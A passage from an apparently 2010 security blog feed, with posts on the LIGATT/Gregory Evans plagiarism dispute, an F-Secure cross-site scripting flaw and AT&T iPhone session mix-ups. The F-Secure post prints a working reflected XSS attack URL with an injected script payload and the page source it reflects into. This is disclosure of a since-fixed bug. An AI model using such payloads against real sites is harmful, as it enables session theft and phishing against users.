<p>On to the two videos: <a href="http://www.nationalcybersecurity.com/articles/441/1/How-Can-Computer-Nerds-Be-Racist/Page1.html">http://www.nationalcybersecurity.com/articles/441/1/How-Can-Computer-Nerds-Be-Racist/Page1.html</a>.</p>

<p>Evans starts by going after security professionals Ben Rothke, who performed <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">a careful analysis of the plagiarized material</a> in “How to Become the World’s Number 1 Hacker”, and Chris Riley who played a part in <a href="http://shitcast.co.uk/?p=68">a fairly respectful interview</a> of Evans on a podcast released yesterday, and whom Evans <a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">threatened harm to for some reason, potentially identity confusion</a>.</p>

<p>For some reason he drones on about Kevin Mitnick, and suggests that the current security industry worships the work Mitnick did. He suggests in the video that Kevin Mitnick came to him for advice on the deal being offered him by the government while the two were incarcerated together.</p>

<p>This was quickly refuted by Mitnick himself:</p>

<p><div id="attachment_4330" class="wp-caption alignnone" style="width: 594px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/mitnick.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/mitnick.jpg" alt="" title="mitnick" width="584" height="326" class="size-full wp-image-4330" /></a><p class="wp-caption-text">Pretty unambiguous.</p></div>
<br /></p>

<p>At 11 minutes in he has still not referenced the plagiarism, ostensibly the reason for making the video response. The next minute is spent discussing how much money he made and help he states having given to the community.</p>

<h3>Video &#8211; Part 2</h3>

<p>Evans finally decides to address the plagiarism issue in part two, wait, no he’s not.</p>

<p>Minute one walks through the media companies he has bamboozled into putting him on television. For some reason he equates his exposure to what he appears to put forth as a “right” to plagiarize the material of people he feels are less well known. He proceeds to discuss contracts held with <a href="http://attrition.org/errata/charlatan/gregory_evans/evans08.html">two professional sports franchises</a>, the Atlanta Hawks and Atlanta Thrashers; however, the contract shown appears to be with Arena Sports Marketing, LLC. The Chief Sales Officer of Atlanta Spirit LLC (parent company of the Thrashers) asserts that LIGATT has never provided “services for the Hawks, Thrashers, or Philips Arena”.</p>

<h4>E-mails Regarding the Sports Teams</h4>

<p>Ben Rothke took the time to verify his findings on this claim with representatives of the two sports teams:</p>

<pre><code>From: Ben Rothke
To: White, Tracy; Penningroth, Ailey
Sent: Sun Jun 13 10:14:13 2010
Subject: Is LIGATT Security in fact the official cyber security provider of the Atlanta Hawks?

Greetings,

I wrote a book review of *How To Become The Worlds No. 1 Hacker* -

https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker.

The book is nearly a complete work of plagiarism.

In the book, the author states that LIGATT is the official cyber security
provider of the Atlanta Hawks. I attached an excerpt of the book which
highlights that.

Note that the also says he is the official cyber security provider of
Phillips Arena and the Atlanta Thrashers.

Can you tell me if that claim is correct?

Thanks,

Ben
</code></pre>

<p>To which he received the following replies:</p>

<pre><code>On Sun, Jun 13, 2010 at 10:39 AM, White, Tracy &lt;
Tracy.White@atlantaspirit.com&gt; wrote:

That claim is not accurate. We are aware that he has made these statements
but they are not accurate.
</code></pre>

<pre><code>From: White, Tracy 
Date: Sun, Jun 13, 2010 at 11:32 AM
Subject: Re: Is LIGATT Security in fact the official cyber security provider of the Atlanta Hawks?
To: Ben Rothke
Cc: "Penningroth, Ailey", "Wilkinson, Scott" 

Ben - yes, you're correct....Ligatt doesn't provide (nor have they ever
provided) services for the Hawks, Thrashers or Philips Arena.
</code></pre>

<p><div id="attachment_4307" class="wp-caption alignnone" style="width: 617px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/Screen-shot-2010-06-17-at-12.11.34-AM.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/Screen-shot-2010-06-17-at-12.11.34-AM.png" alt="" title="Screen shot 2010-06-17 at 12.11.34 AM" width="607" height="396" class="size-full wp-image-4307" /></a><p class="wp-caption-text">Partial cut of a contract provided by Evans references a marketing company, not the teams.</p></div>
<br /></p>

<h4>Continuing&#8230;</h4>

<p>I passed out until 4:26, but there was a lot of bragging about something.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/snake-oil-clip1-150x150.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/snake-oil-clip1-150x150.jpg" alt="" title="snake-oil-clip1-150x150" width="150" height="150" class="alignleft size-full wp-image-4338" /></a></p>

<p>He discusses his twitter program, Learn to Hack in 15 Minutes, for which he issued a press release on May 5th. The video cuts out, and then comes back to his discussion of a teacher teaching from a text book that the teacher didn’t write. In the podcast yesterday he references the fact that a preacher will read from the Bible, but did not actually write the Bible. His overall stance appears to be that he never said he would be writing his own content as opposed to taking content from other people and therefore copying the content verbatim in his social media campaign is therefore okay. He is “taking a little here” and combining it for laypeople, which according to him is why <a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt04/">he makes one million plus a year</a>.</p>

<p>He goes on to explain that the books are not written for a security audience with various metaphors. He discusses that Chris John Riley is a joke to him (again no one is sure why or the basis for his animosity). The video cuts in and out in this part where obvious edits have been made. He insults education, and calls his audience computer nerds. He makes some references to celebrities.</p>

<p>We are now at 19 minutes and the plagiarism charges, the reported reason for the videos, have not been addressed.</p>

<p>He goes on to reference Jobs, Gates, and Dell as people who, like himself, understand both the business “and computers”.</p>

<p>At 11:49 in video two the discussion of plagiarism finally begins: &#8220;I wrote 60% of my book.” The analysis does not support this, there are a number of chapters with 90% similarity rates to previously published work per the <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">iThenticate tool analysis run by Rothke</a>. Evans stated he put out a call for “ghost writers” to which he received “stacks and stacks of information”. He states that the actual authors of the work accepted a flat fee in exchange for signing away full rights to the created work, signing a release and confidentiality agreement. He claims the “people who wrote the stuff” aren’t calling him, or “posting to your board” that their authored works were taken. His claim is that they are not doing this because they signed both a release and a confidentiality agreement. The video cuts out at 13:47 while he is still talking.</p>

<h3>Refuting the Paid Authorship Claim</h3>

<p>This is done fairly quickly via an example. Below find a page from the book <u>How To Become The Worlds No. 1 Hacker</u>:</p>

<p><div id="attachment_4326" class="wp-caption alignnone" style="width: 610px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/116927652.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/116927652.png" alt="" title="116927652" width="600" height="580" class="size-full wp-image-4326" /></a><p class="wp-caption-text">Page from #1 Hacker Book.</p></div>
<br /></p>

<p>Now let&#8217;s look at a section of the article <a href="http://www.ethicalhacker.net/content/view/106/24/">MS Terminal Server Cracking</a> on ethicalhacker.net:</p>

<p><div id="attachment_4327" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ethical_hackernet.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ethical_hackernet.jpg" alt="" title="ethical_hackernet" width="700" height="711" class="size-full wp-image-4327" /></a><p class="wp-caption-text">Article on ethicalhacker.net.</p></div>
<br /></p>

<p>Notice any similarities? Right down to forgetting to remove the name chrisgates on the command prompt, they&#8217;re the same.</p>

<p>So its a straight copy, but maybe Chris Gates was paid as Greg suggested, and elected to &#8220;sign a release&#8221;. Again, easily checked:</p>

<p><div id="attachment_4328" class="wp-caption alignnone" style="width: 583px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/chris_gates.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/chris_gates.jpg" alt="" title="chris_gates" width="573" height="210" class="size-full wp-image-4328" /></a><p class="wp-caption-text">Where's my money?</p></div>
<br /></p>

<p>Maybe the check is in the mail?</p>

<h3>Finally</h3>

<p>This many acts of taking another person’s work without attribution would not have made it past most publishing houses. But with that said, I can’t find another book that’s been published by “Cyber Crime Media”. This mostly nonsense, ham-fisted defense of his actions is amusing on some levels, although probably not for the two real security professionals he is lobbing unsupported accusations at.</p>

<p>Anyhow, we&#8217;re sick of the chicanery.</p>

<p>We know, two posts now on the LIGATT story line. It’s like a car accident we can’t look away from. We&#8217;ll promise to get back on something more important soon.</p>

<h3>References</h3>

<ul>
<li><a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt07/">Gregory D. Evans Criminal History</a></li>
<li><a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">Fair use, plagiarism and the World’s No. 1 Hacker book</a></li>
<li><a href="http://securitymusings.com/article/1950/ligatt-honestly-and-truly-scares-me">LIGATT honestly and truly scares me</a></li>
<li><a href="http://crabbyolbastard.wordpress.com/2010/06/21/ligatt-a-cautionary-tale-of-cyber-security-snake-oil/">LIGATT, a Cautionary Tale of Cybersecurity Snake Oil</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/4305/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</title>
		<link>http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 00:09:29 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4268</guid>
		<description><![CDATA[How did one of these men come to threaten the lives of the other and his family?]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt-150x150.jpg" alt="" title="ligatt" width="150" height="150" class="alignleft size-thumbnail wp-image-4299" /></a></p>

<p>European security analyst Chris John Riley is a well known and legitimate security professional who co-hosts the Eurotrash Security Podcast and writes on the <a href="http://blog.c22.cc/2010/06/17/threats/">Catch22 Insecurity blog</a>. Gregory Evans is a convicted felon (federal conspiracy and wire fraud against AT&amp;T and MCI for stealing 125 toll free telephone lines) who <a href="http://attrition.org/errata/charlatan/gregory_evans/evans02.html">paid $9 million in restitution</a>, was sentenced to 24 months in federal prison, and runs <a href="http://attrition.org/errata/charlatan/gregory_evans/">a dubious company</a> that makes <a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">great commercials</a> but also <a href="http://attrition.org/errata/charlatan/gregory_evans/evans08.html">claims a client list</a> they don&#8217;t actually have, <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">plagiarizes to write books</a>, and performs <a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt04/">press release ping pong</a> with a penny stock. So how did one of these men come to <a href="http://blog.c22.cc/2010/06/17/threats/">threaten the lives</a> of the other and his family?</p>

<h3>The Buildup, The Book</h3>

<div id="attachment_4288" class="wp-caption alignright" style="width: 125px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/51av8ttEJ5L._SL160_AA115_.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/51av8ttEJ5L._SL160_AA115_.jpg" alt="" title="51av8ttEJ5L._SL160_AA115_" width="115" height="115" class="size-full wp-image-4288" /></a><p class="wp-caption-text">Book/plagiarism.</p></div>

<p>As mentioned, Riley is part of the Eurotrash Security Podcast, and as with many podcasts, interviews of information security professionals and personalities come with the territory. In that role, Riley sought to have Evans do an interview on the most recent charges that his book <u>How To Become The Worlds No. 1 Hacker</u> is largely <a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book">a work of plagiarism</a>.</p>

<p>So Riley called the LIGATT office in Atlanta, was eventually put through to Evans, and after discussing some preliminaries on the book agreed to an interview the following evening. Riley provided his blog URL and LIGATT&#8217;s secretary provided Evan&#8217;s Skype ID (ligattsecurity) for the interview.</p>

<h3>15 Minutes Later&#8230;</h3>

<p>Within fifteen minutes of the phone call, the following comment was submitted to the book review section of Riley&#8217;s blog:</p>

<p><div id="attachment_4282" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/evans_quote.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/evans_quote.png" alt="" title="evans_quote" width="750" height="125" class="size-full wp-image-4282" /></a><p class="wp-caption-text">Comment received 15 minutes after phone call.</p></div>
<br /></p>

<p>So what would cause the CEO of a publicly traded company to fly off the handle in such an unreasonable way? The answer may be a case of mistaken identity. The 20Plus reference in the beginning of Evan&#8217;s written rant makes no sense when applied to Chris John Riley. But there is a user on the forums of advfn.com, an investment web site, with that handle. And this is a user who <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=50580944">continually</a> <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=50306323">expresses dissatisfaction</a> with the LIGATT stock (LGTT) and <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=51048972">the management</a> <a href="http://investorshub.advfn.com/boards/read_msg.aspx?message_id=50309143">of the company</a>.</p>

<h3>Maybe Its Not Evans</h3>

<p>We can allow for that possibility, but a preponderance of evidence shows otherwise. The whois for the IP address shows BellSouth, Atlanta GA, right where the LIGATT offices are. That combined with the specific references to the phone call and references to an Evan&#8217;s nemesis on investment boards of ADVFN suggest this was in fact Evans.</p>

<p><div id="attachment_4280" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-43-58-pm.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-43-58-pm.png" alt="" title="screen-shot-2010-06-17-at-10-43-58-pm" width="300" height="196" class="size-full wp-image-4280" /></a><p class="wp-caption-text">IP points to Atlanta, GA</p></div>
<br /></p>

<h3>Put up the money and challenge me!</h3>

<p>One of the lines in the comment references Mr. Evans&#8217; repeated call to &#8220;challenge him&#8221; to some manner of hacker competition.</p>

<p><div id="attachment_4273" class="wp-caption alignnone" style="width: 411px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt_challenge.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ligatt_challenge.jpg" alt="" title="ligatt_challenge" width="401" height="202" class="size-full wp-image-4273" /></a><p class="wp-caption-text">LIGATT, ostensibly Evans, challenges the hackers of the world.</p></div>
<br /></p>

<p>A credible response to this challenge was made by Chris Nickerson, formerly of <a href="http://en.wikipedia.org/wiki/Tiger_Team_%28TV_series%29">Tiger Team fame</a> (a TruTV show demonstrating actual social engineering and hacking).</p>

<p><div id="attachment_4274" class="wp-caption alignnone" style="width: 309px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-55-44-pm.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/screen-shot-2010-06-17-at-10-55-44-pm.png" alt="" title="screen-shot-2010-06-17-at-10-55-44-pm" width="299" height="200" class="size-full wp-image-4274" /></a><p class="wp-caption-text">Nickerson's unambiguous response.</p></div>
<br /></p>

<p>Thus far Evans continues to repeat the original challenge, while refusing to acknowledge that Mr. Nickerson has already accepted it.</p>

<h3>Finally</h3>

<p>This nonsense with Evans and this company has been far too much for far too long. It is a free country, and people can form firms and make a living, even reformed criminals. But the evidence suggests, as it has for a while, to steer clear of Ligatt and its volatile CEO. Far too many, especially in the media (Fox News, CNN, The History Channel), have been taken in by the wild claims of this outfit.</p>

<h3>Update</h3>

<p>The Student Hacker IT cast has posted their <a href="http://shitcast.co.uk/?p=68">LIGATT Interview</a>, which is fairly instructive of the issues discussed.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>F-Secure XSS on Anti-Theft Website</title>
		<link>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 20:19:24 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[f-secure]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4247</guid>
		<description><![CDATA[In a new section supporting the release of an anti-theft product for mobile phones, the web site of Helsinki based anti-virus company F-Secure is vulnerable to cross site scripting (XSS).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/F-secure_Logo.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/F-secure_Logo-150x150.png" alt="" title="F-secure_Logo" width="75" height="75" class="alignleft size-thumbnail wp-image-4249" /></a></p>

<p>In a new section supporting the release of an anti-theft product for mobile phones, the web site of Helsinki based anti-virus company F-Secure is vulnerable to cross site scripting (XSS).</p>

<h3>XSS String</h3>

<p>A hidden form field reflects values from a name value pair (hidManufacturer in this case) from the URL.</p>

<p><b>Attack URL:</b></p>

<pre><code>http://www.f-secure.com/en_EMEA/products/mobile/anti-theft-download/anti-theft-download-
wizard.html?hidManufacturer=%27%22%3E%3C/title%3E%3Cscript%3Ealert%28/Mikko%20rulz/%29%3C
/script%3E
</code></pre>

<p><b>First reflection of URL XSS name-value pair:</b></p>

<pre><code>&lt;input type="hidden" name="hidManufacturer" id="hidManufacturer" value="\'\&amp;quot;&amp;gt;&amp;lt;\/title&amp;gt;&amp;lt;
script&amp;gt;alert(\/Mikko rulz\/)&amp;lt;\/script&amp;gt;"/&gt;&lt;/p&gt;
</code></pre>

<p>But nothing happens on this reflection because much of what is passed in the URL (the bracket and quote characters) is encoded as &amp;quote, &amp;gt, &amp;lt on the output of the page. This is generally recognized as <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_Inserting_Untrusted_Data_into_HTML_Element_Content">a right practice</a> to avoid many forms of cross site scripting attacks on web pages.</p>

<p>Unfortunately a Javascript later in the page is referencing the passed in string without any of the same encoding.</p>

<p><b>Second reflection in the page of the same value:</b></p>

<pre><code>&lt;script type="text/javascript"&gt;
    document.getElementById(''"&gt;&lt;/title&gt;&lt;script&gt;alert(/Mikko rulz/)&lt;/script&gt;').setAttribute("class", 
"selected");
    document.getElementById(''"&gt;&lt;/title&gt;&lt;script&gt;alert(/Mikko rulz/)&lt;/script&gt;').setAttribute("className", 
"selected");
&lt;/script&gt;
</code></pre>

<p><div id="attachment_4250" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/fsecure_xss1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/fsecure_xss1.jpg" alt="" title="fsecure_xss" width="750" height="577" class="size-full wp-image-4250" /></a><p class="wp-caption-text">A Javascript reflects values unencoded from a name value pair in the URL.</p></div>
<br /></p>

<h3>Finally</h3>

<p>The Mikko reference is to Mikko Hypponen, the well known Chief Research Officer at F-Secure. The defect was <a href="http://www.xssed.com/mirror/67259/">submitted to XSSED</a> by Xylitol. At a glance this appears to be the first new web site specific problem with the main F-Secure web site (country specific versions have had issues) since the F-Secure forum defacement <a href="http://zone-h.org/mirror/id/6923295">in 2007</a>.</p>

<p>Reflected cross site scripting attacks are on the low end of the scale when it comes to web application vulnerabilities, however they can be used effectively in phishing style attacks (ex: here is a URL to F-Secure, but I will attempt to steal a user session, redirect the user, serve them malware, etc. based on being able to execute a script as the F-Secure web site). As always it behooves a security company to correct problems like this fairly quickly, and F-Secure clearly knows what to do already since they&#8217;re using output encoding in one part of the page already.</p>

<h3>Update 06/8/2010</h3>

<p>The problem was corrected quickly, and <a href="http://www.f-secure.com/weblog/archives/00001972.html">the issue explained</a> competently by Mikko, as expected.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>iPhone 4 Ordering and Session Switching</title>
		<link>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 21:18:19 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[AT&T]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4215</guid>
		<description><![CDATA[Upon logging into AT&#38;T online to place an order for the new iPhone, some users are reporting that another user's information is coming up including billing information, call history, and so forth.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/iPhone-4.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/iPhone-4-150x150.jpg" alt="" title="iPhone-4" width="150" height="150" class="alignleft size-thumbnail wp-image-4221" /></a></p>

<p>Users are reporting issues trying to reserve the ability to purchase (pre-order) the latest iPhone 4 on June 24th, when they go on sale, caused by what is basically a complete overwhelming of the systems designed to take the orders. AT&amp;T&#8217;s web interface at brick and mortar shops is failing to the point where orders are being taken with pen and paper, and the Apple web site is acting clunky. But the most serious issue people are reporting is that upon logging into AT&amp;T online to place the order, another user&#8217;s information is coming up.</p>

<p>AT&amp;T eventually just disabled online access for its users. <a href="http://gizmodo.com/5564262/apple-iphone-4-order-security-breach-exposes-private-information">Gizmodo</a> received these messages from their readership amongst around 8 complaints:</p>

<pre><code>From: Eric Paul Mertens
Date: Tue, Jun 15, 2010 at 11:19 AM
Subject: AT&amp;T iphone pre-order wrong account

This morning while trying to pre-order the iPhone 4 through AT&amp;T website, my login brought me to a ‘website 
unavailable' screen. After a refresh it brought me to the phone upgrade page logged in under a different 
account, 

some dude from Lakewood OH!
</code></pre>

<pre><code>From: Michael
Date: Tue, Jun 15, 2010 at 11:09 AM
Subject: AT&amp;T security breach

Hello,

I am not sure if this e-mail is going to the correct place but this morning when trying to log in to my at&amp;t 
account I entered my information and ended up in someone else's account with access to all their information. 
I feel as though someone could now be logged in to my account. To me, this seems like a huge security 
breach and at&amp;t is shrugging me off as if it is no big deal and I feel that it is. I just thought with the
recent i-pad breach that this one is an even bigger one and I wanted to bring it to your attention.

Thanks,
Michael Staropoli
</code></pre>

<p>And one user was kind enough to provide a screenshot to drive home the point.</p>

<pre><code>From: john king
Date: Tue, Jun 15, 2010 at 2:04 PM
Subject: ATT WEBSITE LOGS ME IN AS ANOTHER CUSTOMER
To: tips@gizmodo.com

I LOGGED IN AS ME AND IT BROUGHT UP A MARY ???? BIG PROBLEM
-JPK
</code></pre>

<div id="attachment_4232" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/att_mary.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/att_mary.jpg" alt="" title="att_mary" width="700" height="469" class="size-full wp-image-4232" /></a><p class="wp-caption-text">AT&amp;T user finds that he's a Mary.</p></div>
<br /></p>

<h3>System Upgrade?</h3>

<p>Gizmodo received a report from a 3rd party put forth that an untested (in their opinion) system change is probably responsible for these issues.</p>

<p><i>I work at a 3rd party order processing facility—what AT&amp;T refers to as a 3CC. We process business-to-business, business-to-customer Wireline Indirect, and ACME/PAC (what AT&amp;T calls their iPhone program internally). Agents use AT&amp;T programs called Phoenix, Telegence, Compass, Ordertrack and myCSP to process orders.</p>

<p>Over the weekend there was a major fraud update that went down on all of AT&amp;T&#8217;s systems, from Saturday overnight to Sunday early morning. All systems were down and agents were unable to use any systems.</p>

<p>The issues people are seeing at AT&amp;T stores and online are most likely related to this update that went wrong.</p>

<p>I do know that there was absolutely NO TESTING of this system done before the launch of the new iPhone. I know it&#8217;s just heresay at this point, but I can confirm that there was a major outage over the weekend that impacted all ordering systems and programs, and I can confirm that there were multiple systems being upgraded/updated, with some updates being related to fraud.</p>

<p>At this point, I can say that the system that AT&amp;T uses to send automated orders to be processed is as of this very moment down completely. Our facility is unable to process any orders by phone or by automation.</p>

<p>(Regarding the identity problem) Whenever we see people who are logging in and seeing other customer&#8217;s account info, it is an issue with the databases that contain customer information. Orders that contain any information like this can cross customer information, and cause a customer be able to see other accounts by logging out and logging back in. This means that when they log in a few times, it gives them different customer account info every time. It&#8217;s a rare occurrence, but it has happened in the past.</p>

<p>You might want to advise people to not get the upgrade at this point as it may be a doorway to a major privacy breach.</i></p>

<p>This analysis is thin and speculative at best. It seems to be focused on B2B platforms, whereas the problems are reported in the retail web site. It is possible to have a problem introduced this way, but theoretically it would probably be more wide spread.</p>

<h3>Nah&#8230;</h3>

<p>So if we look at this, without any other information, how do we decide that one user logging in and seeing another user&#8217;s information is probably not the result of a weekend systems&#8217; upgrade? Because we&#8217;ve seen this behavior before, a lot. When you stress test a web site, its not uncommon to see functions that return and read user sessions get garbled, and web sites start to return pages for the wrong user session.</p>

<p><div id="attachment_4236" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_att-store-line.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_att-store-line-150x150.jpg" alt="" title="500x_att-store-line" width="150" height="150" class="size-thumbnail wp-image-4236" /></a><p class="wp-caption-text">U.S. productivity grinds to a stand still.</p></div>

<p>When you log into a web site a session gets created and some sort of persistence mechanism is returned to maintain the session (usually a session cookie, but there are other less used methods available). Every &#8220;logged in page&#8221; reads this session identifier to determine whether the user is logged in and uses it to return the right information. Further complexity is usually introduced into large web sites, where some sort of load balancing is taking place, and therefore a user&#8217;s session has to be found amongst data centers, servers, and so forth.</p>

<p>As Christian points out below, one example is that session cookies are sometimes made unique based on a time stamp which in many sites will only go down to milliseconds. Thus when a site receives too many concurrent requests, it starts issuing duplicate session cookies.</p>

<p>When you overload the capacity of programs that read, manage, and create sessions, bad stuff happens like sessions getting crossed. Since the AT&amp;T site was probably under a severe and unusually high server load today, the site went haywire (in our technical opinion).</p>

<p>How do you prevent this from happening? Add occasional and event driven stress testing to your quality assurance processes, you will find a number of unusual and difficult to solve problems result. At the very least you will know how your web application acts under unusually high loads, and thus not be surprised when the Apple fanboys come calling for Steve&#8217;s latest masterpiece.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Newsweek Reports Zombie Invasion</title>
		<link>http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 23:12:03 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[konami code]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4198</guid>
		<description><![CDATA[Newsweek.com becomes the latest in a <a href="http://konamicodesites.com/">long list of sites</a> that will reveal an Easter egg if you enter the Konami Code (↑, ↑, ↓, ↓, ←, →, ←, →, B, A, enter) correctly.]]></description>
